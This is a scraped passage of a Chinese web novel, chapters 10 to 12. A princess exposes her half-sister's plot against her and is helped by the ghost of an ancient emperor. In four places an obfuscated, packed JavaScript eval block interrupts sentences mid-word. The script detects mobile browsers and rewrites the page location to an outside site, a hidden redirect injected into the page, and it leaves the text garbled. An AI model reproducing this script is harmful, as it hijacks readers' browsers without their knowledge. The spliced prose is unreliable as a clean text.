云绡此时开口:“九皇姐除了哭还会干其他事吗?眼下一问三不知,昨夜倒像是什么都知道地把我牵扯进来了……九皇姐和周泉礼那么熟,你俩都互赠信物了,怎么见他绑了我还不阻止,难道是故意想让他犯事?” 云宓脸色苍白:“我与礼公子不熟。” “不熟你拿人家耳坠?不熟你喊他礼公子?”云绡摆明了不信:“不熟他刚才一口一个宓儿叫你叫得亲热。” 云宓泪眼朦胧:“妹妹你为何要这样针对我?难道还要我以死明志自证清白吗?” “别哭啊。”云绡坐姿都没动:“有本事你死一个,你死了我就信你是清白的。” “妹妹……” “够了!”云光憧被这两个女子你来我往吵得头疼,开口道:“将云绡也关押看守起来!” 云绡顿时止住声音,只冷冷地看了云宓一眼,转身离去。 钟离湛着实有些目瞪口呆,云绡变脸的速度极快,方才在与云宓针尖对麦芒时可一点儿也看不出软弱可怜的一面,全程气定神闲,专挑他人痛处去戳。 钟离湛沉默片刻,眼看着云绡已经被关入了静室,这才问:“你方才请神上身了?” 此话问出口,钟离湛便有些后悔,这摆明了是句废话,还有损他威严的形象。 杀神挺直腰,还没想好怎么捡回形象,那边如一把小刀般刺人的少女便默不作声地落泪了。 一滴滴眼泪砸在手背上,她连呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315043|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没重几分,将所有气恼与委屈都吞了回去,还没忘恭恭敬敬地回钟离湛一句:“让曦帝见笑了,我若方才不刺她几句,恐怕眼下形式会更糟。” 她顿了顿,像是多年苦楚无处诉说,却在这个时候露出了几分脆弱:“以前也总是这样的,不论我与云宓之间谁对谁错,只要她哭,所有人都向着她,所以我——” 所以她就干脆多刺她几句,哪怕无法撕下她的假面,也要让她不痛快。 这些话,无需云绡说出口钟离湛也明白了。 他原以为皇宫信奉的是为权为势,能者居之,却没想到皇子皇女之间却是会哭的孩子有奶吃。 啧。 云绡的眼睛都红了,哭得也太可怜了些。 她的眼泪并没有持续太久,抬手擦去了泪痕后,她便起身道:“还好被关在了这里,我还有机会。” 语毕,云绡便走到静室内的一角,搬开那里的隔茶水的小柜,扒开表面浅浅的一层土,很快就露出了一个——狗洞。 钟离湛:“……” 怎么两千年后的人是属老鼠的还是属狗的?都那么喜欢打洞? 云绡正要往里钻,钟离湛便提着她的衣领问:“你要做什么,直说。” 云绡眨了一下眼道:“我要去找周泉礼。” 她说完,眼珠动了一下,而后沉默地看向钟离湛。 少女没开口,但钟离湛突然就福至心灵地明白她这个眼神,问:“你想让孤帮你,提他过来?” 云绡点点头,随即露出了一抹浅笑。 见钟离湛眼眸微眯,她连忙解释:“若信徒能活,曦帝寻找自由的办法就更多,不是吗?毕竟皇宫中关于符咒阵等禁书很多,我虽不能进去,但能站在外头晒太阳,曦帝进去翻看不也是一样?” 钟离湛:“……” 嗯,她抛出了一个很好的条件作为诱饵。 “你到底想干什么?”钟离湛是真的有些弄不懂她,如若她只是想在此局中脱身,也可以请他帮忙,用同样的条件作为诱饵,换她干干净净清清白白地从青云司离开。 毕竟他可以做出很多对那二人不利的证据。 云绡却只是笑:“我想要,公平。” 钟离湛微顿。 公平。 这两个字看似简单,实则难得。 曾也有人问过他游于五族之间,杀凶恶者弄权者无数,没有明确的站位,甚至连同为曦族的族人也不放过,这样究竟有何意义,是为了什么。 他也说,是为了公平。 一腔热血,满怀抱负,说出了公平二字后,得到的却是无数人的嘲弄。那一瞬钟离湛仿佛变成了稚儿,仰头看向那些如魑魅魍魉一样高高在上的长者,听着他们讽刺的笑声,心下一片冰冷,想的是:看吧,这就是不公平。 而两千余年后,有个和他当初天真时一样年纪的少女,对他说她要公平。 “孤给你公平。” 钟离湛说完,身影消失于墙前。 十步,够他走到隔壁,提周泉礼来这边。 云绡却站在狗洞前,双手于袖中攥紧,一双明媚的眼眼神几番变化,惊讶,豁然,欣喜。 什么公平啊,那不过是她曾看过史记上描述钟离湛生平的前言,三言两语记载了他也做过利国利民之举,从英雄变成杀神之过程,总要有个足够强烈的对比。 尚是英雄的钟离湛便豪言壮语,说要天下公平。 云绡其实只是试探了一下,从她掉进禁地唤醒钟离湛之后便觉得他很违和,与史书上记载的杀神越来越剥离开来。 眼下倒是有些确定,原来杀神……还是个心怀正义的菩萨。 10.第 10 章 云宓被送入到静室前,她停顿了会儿才走进去。 云光憧到底是没能在她这里问到什么,云宓在云绡被关之后来来回回只有一个意思,如若她真的想要利用周泉礼来对付云绡,大可不必昨夜禀告,等到东窗事发云绡受到的惩罚也会更重。 云光憧见她哭哭啼啼,眼下最重要的还是天祭台那边是否能恢复,有无影响明日的祭祀,故而便将云宓也暂且先看押起来。 青云司毕竟是关犯人的地方,静室不多,云宓与云绡就被关在同一间。 静室房门被推开,云绡此刻就坐在木榻边上,在见到云宓的那一刻眼底闪过讥讽,待到门关上,她才开口:“这回没人了,你也不必再装了吧?” 云宓全然没有方才在云光憧面前柔弱可怜的模样,面对云绡,她的眼神倒是更冷了些,眼底隐隐还有防备。 今日她被提来青云司,其实还算沉得住的,毕竟一切都按照她想的进行。只是在青云司内看见完好无损的云绡,云宓的心态差点儿就绷不住了。 她盯着云绡的腿,眼中的恶意没有遮掩:“你们曦族的还真是个怪物,这么重的伤居然都能在短短一夜之间就恢复了。” 其实不能。 云绡知道自己体质特殊,再重的伤似乎只要不致命都可以比常人快上好几倍地恢复。但她的腿昨夜的确是被周泉礼折断了,若不是钟离湛,这条腿怎么也得七日才能恢复如初。 不过云绡又不是蠢货,怎么可能被云宓套话,反倒是眉眼弯弯地笑问:“你确定你要和我谈我是哪族人的事?” 云宓的脸色顿时更加难看:“你早就知道我要对付你。” 这是肯定的话,云绡坦然地点头:“这么好的机会,你不会放过。” 云绡道:“我知道的可多了,我知道你早在去年就盯上了周泉礼。早些时候他虽纨绔,但没犯大错,去年因喝酒闹事打杀了户部侍郎的庶子,结果他毫发无损,户部侍郎却因教子无方之名被贬,你便盯上了他。” “你要一个有权有势之人让你借刀杀人,所以今年才会故意向晨妃透露了周泉礼对你有意,你假装烦恼,实则心里知道晨妃一定会趁此机会用你换逍遥王那边的助力,极力撮合你与周泉礼。”云绡点头:“你成功了,周泉礼被你所惑,你又装得柔弱,几次将他带到我的面前,只要你哭,只要我横,在周泉礼的眼里就都是我伤害了他的心上人。” “两个月前,你故意说你身边的宫女与我身边的许嬷嬷交往过深,又让周泉礼恰好查到她们之间有些交易往来。许嬷嬷是我的奶嬷嬷,她深知我为人,从她口中说出的我是个睚眦必报之人,也无意间向周泉礼透露出我指使她从你这边偷几样近身之物带去天祭台,打算诬陷你破坏祭祀的计划……可许嬷嬷心善,不忍这么做,所以请周泉礼帮你度过难关。” 云绡几句话,便将她筹谋了一整年的计划全都猜出,几乎没有错漏之处。 “周泉礼如你所愿对我出手,若你将此事一直隐瞒下去,这件事中受罚的只会有我,但你昨夜却主动告诉大皇兄周泉礼绑我去天祭台之事,便代表你要害的还有他。除掉我,也除掉他,你解决了我这个厌恶之人,也解决了他这个麻烦。” 云绡抿唇一笑,微微歪着脑袋:“九皇姐,我说的可对?” 云宓沉着脸,也忽而一笑:“是,又如何?” 她直起身子看向云绡:“你知道真相,不还是被提来青云司?我虽不知你是如何逃脱的,但在天祭台祭祀被破坏一事上总需要人顶罪受罚的,如今看来,受罚的仍然只有你一个。” 云绡这回不说话了,因为她没办法反驳。 “周泉礼有逍遥王护着,我有晨妃护着,你有什么?”云宓看向云绡,满是讥讽:“你有一身孤胆,还有个伤情加速愈合的怪物身体,除此之外呢?” 云绡轻轻眨了一下眼:“晨妃虽能护你,但至少你也暴露了你并非纯良无害,我不算无用功。” “不过是伤敌十分,自损一百。”云宓讥笑后,又朝云绡的腿看去。 她之前在周泉礼面前诉苦时,说过年幼的时候云绡故意绊倒她,害得她的腿扭伤痛了好些天,当时周泉礼便怒气腾腾地说若有朝一日云绡落在他手上,他一定要折断云绡的腿来替她报仇。 看来周泉礼也没什么用。 “你怎么逃脱的?”云宓虽然没有亲眼看见,但她确定周泉礼绝对得手了,云绡竟然还能好运地逃出来。 云绡似是而非地说了句:“因为我遇到了神仙,他看不过眼你们这群狼心狗肺,打算替我伸冤。” 云宓脸色一沉,脱口骂出:“疯子!” 而后便不再与云绡对话。 云绡也没打算理她,云宓嫌恶她仿佛她身上有什么脏东西,离得很远还背对着。 云绡无所谓,反而侧眸朝房间的某个角落里弯了弯眼眸。 钟离湛将她和云宓的对话都听了进去,他颇有几分无语,怎么这两人有什么深仇大恨吗?便是宫中姐妹看不顺眼大不了不来往,云绡又不得宠,阻碍不了云宓什么,她又何必大费周章地非要至她于死地? 云宓虽背对着云绡,心思却也是百转千回,这一次是她失手了。 若是平日里在宫中陷害,云绡好歹是一国公主,就算再破落也最多是责罚,算不上杀头大罪。 可若是圣仙节里祭祀被毁,她又是罪魁祸首,便是再受宠的公主恐怕都逃不了一个死罪。 早年间云宓羽翼未丰,年龄尚幼,在晨妃眼皮子底下不敢有什么大动作。而今与周泉礼攀上关系,才难得有个能杀云绡的机会,却不想老天都帮着她,这样大的麻烦她居然也都躲过去了。 云光憧不会让这件事发酵出去以免他在显帝跟前落得个办事不利的印象,等明日圣仙节安稳过去,这事儿也只会不了了之,事情居然还当真像是云绡说的那样,其中最吃亏的只有她。 云绡本就不受宠,该怎么过就怎么过。 周泉礼这一下没能跟着倒霉,也不知是否会将告密之事猜到她头上来,她还得费心哄他。 而她被青云司请来问话也定然躲不过晨妃的眼,她本就是寄养在晨妃跟前,即便此番事情没闹大,晨妃恐怕也觉得她不安分,说不准随意找个有权有势的便将她送出去了。 云宓咬唇,紧张了许久,直到这一天过去,青云司外远远传来热闹的声音,此处距离神霄塔和天祭台并不算远,想来祭祀应当是平安的。 天从初白,变得清亮,阳光顺着窗户缝隙照入,几个尖细的宫人声音从外传来,云宓心间漏了一拍,知道这是晨妃命人带她回去了。 果不其然,静室房门被打开,门口站着的是晨妃身边的大太监,他只冷冷地瞥了云宓一眼,甚至都没朝云绡看去,便请云宓离开。 云宓临走前回头朝云绡看去一眼,却见云绡仍然端坐在木榻上朝她笑,那笑容看得云宓浑身发毛,像是有什么东西不受控地推着她往深渊靠近一样。 待到离开青云司,云宓才陡然清醒了过来。 昨日云绡将她的计划全都剖析出,甚至知道她借了许嬷嬷的力来害她,既如此,她为何要一脚踏入计划中? 云绡既然早就清楚她的动机,甚至可以说,是云绡引导她走出这一步计划,毕竟说要破坏祭祀来陷害她的,就是云绡自己主动向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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隐身符不是她画的,时间洪流冲走了许多五族过往交神符咒的秘辛,云绡本来只打算把周泉礼绑着堵住嘴塞到榻下让他听,还是钟离湛主动帮忙,念了几句咒,画了这张符。 隐身符有些复杂,请六丁值日之神赐力庇佑,上绘时辰,未着用途,云绡在将隐身符撕下来之前仔细看了一眼,深深记下,这才将符毁去。 此隐身符与上次钟离湛用一片树叶绘制的化形符有异曲同工之妙,都是请六丁神助力。 云绡也记得曾经她似乎看过一本书,书中提及过六丁符,贴符者日行千里,隐身化形等,只是那些几乎要被称之为传说的奇特能力,如今早就失传了。 她走运,短短两日,见过两回。 而且似乎因钟离湛的身份特殊,绘符讲究的天时地利还有符纸符文等若是有一点儿差错,都有可能失败,偏他字迹潦草狂放,符文含糊,符纸敷衍,却也能次次奏效。 撕掉了隐身符,钟离湛设在周泉礼身上的禁制也跟着消失。 周泉礼恨恨地看向云绡,问她:“你让我看穿她的面目,是想要我助你对付她?” 云绡摇头:“我知道你对她是真爱,你舍不得动她的。” 周泉礼像是吞了一口屎,他得多贱才能明知道一个女人处心积虑的接近他就是为了害他,还要舍不得伤害她? 可偏偏,这口屎周泉礼咽下去了。 他的确舍不得,哪怕知道了这些,他心中对云宓生了恨意,却也还是舍不得真将她如何。 云绡见他沉默,心中生笑,嘴里叹了一声:“情种啊。” 心里骂了一句:蠢货。 “周大情种难道就不想报复她吗?”云绡道:“我的意思不是伤害她,而是让她爱你。” “爱我?”周泉礼嘴角抽搐。 云绡点头:“云宓在宫里也不好过,她今日回去定然受罚,晨妃知道云宓与你这边走不通,必然很快就为她重新选择婚配人选。以晨妃那眼睛里容不得沙子的性子,最多两个月云宓就要被嫁出宫。” 周泉礼沉默。 云绡又道:“我可以让她爱你。” 11.第 11 章 “你那么厌恶她,我又险些弄死你,你会帮我?”周泉礼嗤笑:“你看我像傻子?” 云绡只在心中骂他:不是像,你就是。 但面上还是要让周泉礼更信她些,故而道:“谁说我这样做是帮她?她玩弄人感情也不是头一回了,我是想嘲笑她,终日打雁最终被雁啄了眼,看着她一步步沦陷爱上自己曾经欺骗伤害过的男人,却又只能依附那个男人而活,我就高兴。” 周泉礼骂道:“你果然是个贱人。” 云绡不在意他的辱骂,毕竟长这么大骂她的人实在太多,再难听的话也听过无数回了。 “而你也能得到她的爱,拥有她,让她真正变成在你面前装出来的软弱无能的模样,将你当成依仗的英雄,不好吗?” 周泉礼嘴里骂骂咧咧,可他的身体很诚实,并没离开。 云宓在调查利用周泉礼的时候,云绡怎会没将周泉礼也当成自己的目标?她当然知道周泉礼最后会答应下来。 他老周家出情种,周泉礼也足够骄傲自满,他想要的东西就没有不得手的,包括人。 果然,周泉礼骂完了,问她:“如何让她爱我?” 云绡道:“我这里有一咒,可叫爱意相缠,你爱她有多深,从今往后,她爱你就会有多深。” 周泉礼听过,有的巫术的确能让他人爱上自己,只是这些本领神霄塔的仙师们都不会,那些操纵人心的咒术也都被列为了禁书,寻常人不可偷学。 可云绡是曦族,他们曦族的本就擅符咒,云绡被他们讥称为怪物,也因为她的确有些邪门的地方。 周泉礼犹豫了会儿问:“我如何知道这咒用在宓儿身上不会是你的一个圈套?或许施咒之后,她会死。” “你可以先用在我身上。”云绡道:“礼公子不爱我,也不必担心我会爱上你。” 周泉礼顿了顿,道:“好,若她真的爱我,说不定今后逍遥王府也能成为你的倚靠。” 云绡唯利是图道:“如此更好。” 一拍即合后,云绡便以手沾灰在地上画了一道复杂的符文出来,伴随着一声低吟的咒语,符文在绘制完全之后那灰尘便无风自动,汇聚后又散开。 周泉礼不笨,却也学了半日才完全记下,刚记下便用在了云绡的身上。 他不怕云绡耍诈,因为他会观察云绡一段时间,确定她这段时间内没有任何意外,才会用在云宓的身上。 晨妃将云宓接走了,逍遥王府也派人将周泉礼带回去。 青云司的静室里就云绡和钟离湛一人一鬼,像是云宓说的那样,她更可怜,犯了事也没人在意,没人来捞她出去。 这会子钟离湛没怎么同情云绡的处境,因为他沉默着看了云绡教那纨绔一上午的符咒。 那并非是什么让人爱意相缠的符咒,而是不久前尚在禁地之下,云绡跪在他面前,可怜兮兮诉说自己的无助,恳请他教她的——反咒。 从云绡当着周泉礼的面套云宓的话时,这位杀神就安静地倚靠在墙边上,实际上他靠不到墙体,但姿势没有变过,也没出声。 云绡刚摸清楚了点儿钟离湛的性子,当然也心领神会地知道,自己当着他的面骗人这件事,让这位名为杀神实为菩萨的曦帝人皇心中有些意见的。 即便,她骗的那玩意儿在她这里算不得人,算畜生。 云绡深觉钟离湛好用,她会的符咒不少,但在钟离湛的面前终是小巫见大巫,眼下好不容易以信徒之名获得他几分信任,可不能在这个时候与他产生隔阂。 有些话,该说还是得明说的。 “其实我早就知道她要害我了。”云绡的一双眼看向窗棂,窗外刮起了一阵风,吹动树影摇晃,斑驳地投在窗纸上,如同鬼影。 云绡道:“我与云宓自小就不对付,也不知道为何,她总是有意无意地针对我。我没人看顾,她寄人篱下,我俩都不好过,我有段时间其实是打算把她当成好姐妹相处的,也因看见她好似总被人欺负,总是哭,也护过她两回……直到我发现她开始面朝着我哭后,那些围绕着她的兄弟姐妹们,纷纷替她来指责我。” “便是如此,我俩之间也算不上深仇大恨。”云绡的目光空洞地移向了钟离湛,道:“但她杀了阿青。” 钟离湛对上那双眼,微顿。 云绡道:“阿青是我最好的朋友……我年幼丧母,许萍虽说是我的奶嬷嬷,但她其实很恨我,恨我困住了她的手脚,没能让她去攀附别的高枝,害得她也成了宫中最下等的老宫女,所以在我无力还手的时候,对我非打即骂。” “阿青就是那个时候出现的,她是冷宫里出来的,我遇见她时她也很小,浑身是伤,两个可怜无助的小东西,只能在深夜里互相依偎着取暖,我带吃的给她,她则听我诉苦也不会说出去。” 云绡似是怀念起了那段时光,那是她童年时期为数不多的温暖和内心的柔软了。 “可我这个人大约真的有些地方是邪门的,陪在我身边的都落不到好下场……有一次我与云宓狭路相逢,她故意绊倒我,害得我扭伤了脚,可她却在几个皇兄面前装模作样说我推倒了她。阿青看见了全过程,她很冲动,只想着护着我,朝云宓冲了过去,然后她就被云宓身边的宫人们拿下了。” 钟离湛眸色微动,他真切地感受到了云绡身上透露出来的悲伤,他也从她眼底的难过里看出,她仍然替自己死去的好友愤恨和不甘。 “他们杀了阿青,云宓甚至带着阿青的尸体送还给我,让我好好地替她安葬。” 当时云宓的身边跟着另一个少年,也是朝中位高权重某位大官的儿子,是陪在大皇子身边的伴读,他觉得云宓柔弱可怜,成了她身边的一条狗。 那狗少年说:“宓儿心善,还愿意留她全尸,依我看,倒不如丢了喂狗。” 云绡深吸一口气,压下心中的恨意,她说这话的全过程都看着钟离湛,却又像是没有在看他。 “所以你与那女人的仇,是那时结下的?”钟离湛问道:“那你教那个周泉礼反咒,又是为什么?” 云绡抿了抿嘴,低声道:“我只是想装模做样,让他觉得我有用,想办法把我捞出去罢了。而我会的咒很少,他也一定会找人去验证此咒,寻常咒语神霄塔内的仙师们一看就知,只有这个是我刚学会,他们也未必知道的,能糊弄周泉礼一段时间……反正也无害。” 云绡一会儿凶,一会儿弱,一会儿危险,一会儿可怜,她太多变了,这样善变的人在钟离湛的印象中都没落得好的结果。 想到这里,钟离湛又道:“那你就不该心慈手软。” 若有机会借刀杀人,还是自己的仇人,那就该当机立断,免得横生枝节。 云绡没想过他会这么说,愣了一下问:“他会拿我先验证的。” 钟离湛挑眉:“有孤在,还能让你死在小小咒语之下?” 窗外的风稍稍大了些,呼呼地嚎啸着,斑驳的树影透过窗棂投在了钟离湛的身上,那魂魄透着几丝光,玄色的衣袂与光影重叠,仿佛被风吹起来一样。 钟离湛觉得,自己仍然没看明白云绡,但不可否认,她的过往比他想象得更艰难。 也难怪……她会这么瘦弱。 钟离湛朝云绡靠近了两步,见他真的动了,云绡才从这句话中回过神来。 还真是难得,难得到她一时恍惚,在心中几番回味才有些不可置信地问出所想:“曦帝这是在……为信徒撑腰?” “你护孤的骨剑,孤总得给你些回报。”钟离湛站定在云绡的面前道:“双手伸出。” 云绡心念一动,以为他又要教自己些什么,便赶忙将手做捧状伸到钟离湛的面前。 钟离湛看向她手心里被指甲掐出来的血痕,这是她在说到那个名叫阿青的朋友强忍着难过无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一股子暴戾的冲动想要直接掀翻了青云司,将这受伤的可怜的兔子提到那些仗势欺人之辈的跟前,让她狠狠地报复回去。 这股戾气,终是被他压了下去。 毕竟今昔非同往日,他没了身躯,只一缕魂魄还得受骨剑限制,云绡离不开这静室,他也最多只能走到门外去晒晒太阳。 偏这几日天气不太好,圣仙节之后便狂风大作,连下几场雨后降温了。 静室内连张毯子也没有,云绡晚间冷得睡不着了居然把屋子里唯一一张凳子砍了烧了。 钟离湛看着漆黑屋内那一团明亮的火光,橙红色在云绡的眼中跳跃,她丝毫不害怕这火势因意外蔓延,会将她烧死在这里。 “很无聊吧?”云绡居然还能兼顾上钟离湛的心情,一张小脸笑出了小小的梨涡:“很快就会有人放我出去的。” 钟离湛不知她哪儿来的这样乐观,只觉得火光下她脸上的梨涡更加显眼,也更显得这几日蹉跎下她变得更加的瘦弱。 钟离湛忽而问她:“你几岁?” 云绡一愣,不明所以,但还是老实回答:“我再有半个月,就及笄了哦。” 似乎是在强调,她已经不是小孩儿了。 钟离湛又问:“你方才说,很快就有人放你出去,是因为你马上及笄?” 一国公主及笄之礼,便是再不受宠也该有几分重视。 云绡却摇头:“不对,是我了解周泉礼,他感受不到云宓对他的爱,就一定会着急。” 似乎是为了印证她的话,静室外传来了脚步声,很快有人打开了静室的房门,对正在燃火取暖的云绡皱起眉头道:“十一殿下,你可以回宫了。” 12.第 12 章 夜雨很大。 一行宫人匆匆走在前头,便是手中提着画了符的防水油纸宫灯也无法照亮森森宫巷的路。 巨大的青石板上浅浅的水洼里,倒映着微弱的暖黄色。 云绡走在宫人的后方,一只手提着巨大的沉重的伞,一只手提着半旧不新忽明忽暗的灯。 她的伞举得很高,因此也多费几分力气,若那些走在前头只想着赶紧把人送到别再淋雨的宫人们谁能回头看一眼,就能看见云绡的姿势有多怪异。 那把伞撑在她的身侧,遮不住她小小的身形,暴雨疯狂地打在她的身上,更衬得她单薄瘦弱。 “你不必如此,顾好你自己。”钟离湛的声音有些沉闷。 他望着前方已经离云绡有些距离的宫人,再看向云绡举到自己跟前的一截细瘦白皙的手腕,眼底涌出了几分不忍。 云绡的那把伞举在了他的头顶上,她走路甚至还需要费力地踮起脚尖,钟离湛直白道:“雨打不到孤的身上。” 云绡当然知道雨打不到他的身上,他只是魂魄一缕,除了她,他什么也碰不到,不过该装的样子,云绡还是得装的。 她昂起头露出一抹笑道:“雨淋不湿您,但您应当能感受到寒冷吧?” 钟离湛对上那双在夜里也明亮的眼,抿了一下嘴,握住了她的手腕将她的手往下压。 云绡就看见钟离湛的魂魄穿过了雨伞,那把伞像是一把刀,斩断了他的头颅与身躯,让他看上去像个挂在伞下的无头男尸,尤其在这冰冷狂风暴雨的深夜里,更透着几分诡异阴森之气。 云绡倒吸一口凉气,又怔怔地看向对方握着自己手腕的宽大手掌,他的手指修长,将她的手腕包住还多出一截。 为了伞能完全遮住风雨,这回变成了钟离湛的手凑近了云绡的脸,所以云绡也看见了他手指上细小的伤痕,那些都是陈年旧伤,伴随着他的魂魄不曾消失。 他魂魄的温度,是滚烫的。 “他们总是这样对你吗?” 低沉的声音从伞顶上传来,云绡的目光不再盯着钟离湛的手,而是望向并没有等她的宫人,道:“总是如此的。” 钟离湛沉默了会儿,又问:“你们如今这朝代,没有设立国法规矩?例如……蓄意伤人者有何惩罚?知情不报者有何惩罚?诬陷造谣者有何惩罚?欺凌弱小者有何惩罚?” 云绡听他这话,愣愣地盯着伞檐边落成线的雨。 没等到她的回复,钟离湛弯下腰,灵魂钻过雨伞,勾着身体朝云绡看来,细细打量着她的眼。 旁人看不见钟离湛,云绡却是能看见的,在她眼里,他就像个活生生的人,这一下遮挡住她全部的视线。 云绡像是才找回自己的声音,问他:“这些……都应该有惩罚吗?” 钟离湛的目光比她的更疑惑:“不该有吗?” 云绡眨了一下眼,反问道:“曦帝当初成为五族之首,被称人皇之时,在您统治之下的天下里,如您方才所说的那些人都会受到惩罚吗?” 钟离湛点头:“自然。” 云绡恍然,心道难怪,难怪他会在发现她撒谎的时候蹙眉,又会在周泉礼和云宓被人带走后沉默,他一直都在以一个与眼前时代格格不入的旁观者来看待他们,在他的眼里一定对他们都充满了疑惑。 疑惑云绡为何不反抗,或许在他心里,还会怒她不争。 所以他会在她提起与云宓的过往,还有周泉礼为云宓做的那些事时,对她说她不该心慈手软。 彼时他一定一时没想到,其实不是她心慈手软。 钟离湛也在云绡的沉默中明白过来,他从离开青云司后来到宫中的这一路,猜测的没错了。 他刚出禁地不久,当天还没晒多久的太阳,便跟着云绡离开了神霄塔,后又去了皇宫,再离开了皇宫,到青云司。 他对凌国是陌生的,所有知道的东西都从云绡的只言片语中获取。因为知道云绡是曦族人,又是他的信徒,似乎对他的过去也有很多了解,所以钟离湛对云绡生出了几丝信任。 不多,但有。 毕竟他死前活了二百多年,什么牛鬼蛇神没见过?他还活着的时候,一双眼可洞悉真相,自然没有人敢在他的面前说谎,可他如今死了,力量大打折扣,还受骨剑限制,要分辨真伪,就要从多方角度去考量猜测。 要说出禁地前,他对云绡的信任有六成,那出禁地后,随着她熟练地伪装、欺骗,他对她的信任也只剩三分了。 可她也很可怜,很无辜,那些围绕着她的恶意并非是她自己哪里出了问题,所以钟离湛也很矛盾,矛盾她为何要弯弯绕绕这么多? 既然能在禁地下跪求他杀了显帝,那在面对这些摆明了欺凌她的人面前,为何不能跪求他杀了他们? 以前钟离湛的信徒,都是这样做的。 因为他们知道在他面前没有谎言,所以他们所有的诉求都直白地说出口。这世间的确不是事事都分善恶,但有对错,那些写在国法规章之中。 依法办事,力求公正。 在圣仙节的第二日,他看见了五色桥下五族人一起载歌载舞,钟离湛以为即便显帝或许算不上个好皇帝,可他好歹让过去在钟离湛面前也要打得不可开交的五族友好和睦共存,这也算不错。 所以他想当然地以为,他过去设立的那些规矩,被后世人沿用至如今。亦或者他们在他设下的规矩之上,增添了更多细节,弥补了更多漏洞。 事实证明不是的。 从外表看,凌国是五色桥,是百花齐放祥和一片。 可内地里,凌国是雨夜宫巷,阶级分明却毫无章法,在这里权力是一言堂。 这场雨其实淋湿了钟离湛的魂魄,至少将他停留在两千年前自己统治的天下里所有的理所应当,都浇熄,淋得稀碎。 将他从生划到了死,将他彻底从过去扯到了当下。 当下,凌国不是照国。 钟离湛也不再是曦帝。 坐在皇位上的另有其人,他的信徒也不是只要跪在他的面前,对他说出不公,他就能断不公者生死。 钟离湛无比清楚地意识到,他已经死了两千年了。 两千年后的世界,与他活着时完全不同。 而两千年后的云绡,在用她力所能及的办法,自救。 她要他杀了显帝,因为当今是显帝的天下,她无法在这种情况下扳倒皇权,她要显帝死,便只有求神这一步,哪怕求的是杀神。 但她要周泉礼、云宓之辈付出代价,无需求神,用她那弯弯绕绕的一套招数,或许就能做到了。 - 钟离湛仍然盯着云绡看,他的手握着她的手腕。他弯着腰,勾着脊背,与她面对着面,就在这把漆黑的伞下,两双眼像是要看穿到彼此的灵魂深处。 雨越来越大,云绡停滞不前,雨水终于浇灭了她手中的灯。 周围骤然暗了下来,疾走在前的宫人们还没有发现那个不受宠的公主并未跟上。 云绡突然觉得,钟离湛握着自己手腕的那里很烫。 她打破这长时间的沉默,将话题扯回了钟离湛看向她之前,尽量让自己的眼神保持着敬仰道:“那能成为曦帝的子民,一定是天下百姓最幸福的事了。” 毕竟,他统治之下的国家比凌国公平公正得多。 钟离湛似是自嘲,勾起嘴角:“你不是说,后世人称孤为杀神?那大约他们都觉得在孤统治之下,畏惧和痛苦远远多过幸福。” 云绡张了张嘴,又不知要说什么,她可不会提起史书上那些对钟离湛的记载,毕竟没一句好话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337455|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “十一殿下!” 前方的宫人终于发现云绡掉队了,不耐烦地喊了一声。 他们喊她殿下,却从未将她当成殿下。 那些所谓国法规章,也只是纸上的一行字,形同虚设罢了。 云绡动了动握伞的手,以手背轻轻靠在钟离湛的肩膀上,推了一下。 钟离湛松开了她,但也走出伞下,不再当那个被伞割掉脑袋的无头男尸,而是绕至云绡的另一侧,站在风雨里,对着她手中的宫灯轻轻吹了口气。 鬼火重燃,霎时照亮了前路,便是暴雨也无法遮拦的亮度。 “云绡。” 钟离湛突然念了一声她的名字。 他的声音很好听,这一声很轻,很低,像是掩在了风雨里,却也因为很轻,很低,显出了几分温柔。 这是钟离湛第一次喊她的名字,也是第一次有人如此慎重地叫着她的名字。 云绡的心跳漏了一拍。 钟离湛又道:“你有一身剑骨。” 云绡:“……” 他在骂她吗? 钟离湛叹:“你的魂魄里有一道剑意,所以你的身体特殊,拥有剑骨者命硬不易折,与其杀显帝乱世道,你有没有想过——救世?” 云绡闻言睫毛轻颤,心头狂跳,她从来不知道自己的魂魄里有剑意,所以这是她被称为怪物的原因?她从小到大只要受伤都能很快愈合,这就是钟离湛说的命硬不易折? 至于他说的救世,云绡当他放屁。 钟离湛也觉得自己说了句屁话。 一个才只到他胸膛高的小姑娘,在这皇宫深墙中自保都难,他方才居然能说出让她救世,她连自救,都需精心谋划。 许是因为钟离湛突然意识到,这里不再是他的世界,而他也不是活人,更不是过去的自己。再度醒来于两千年后,他就是个眼界狭隘,还被困在小姑娘十步之内的鬼,毫无能力作为,宛如什么也不知道的稚童。 而他想要破除当下困局,要么找到魂魄与骨剑分离之法,要么……拉云绡一把,将她拉出皇宫这方小天地,才得自由。 云绡受限于皇权,他受限于云绡。 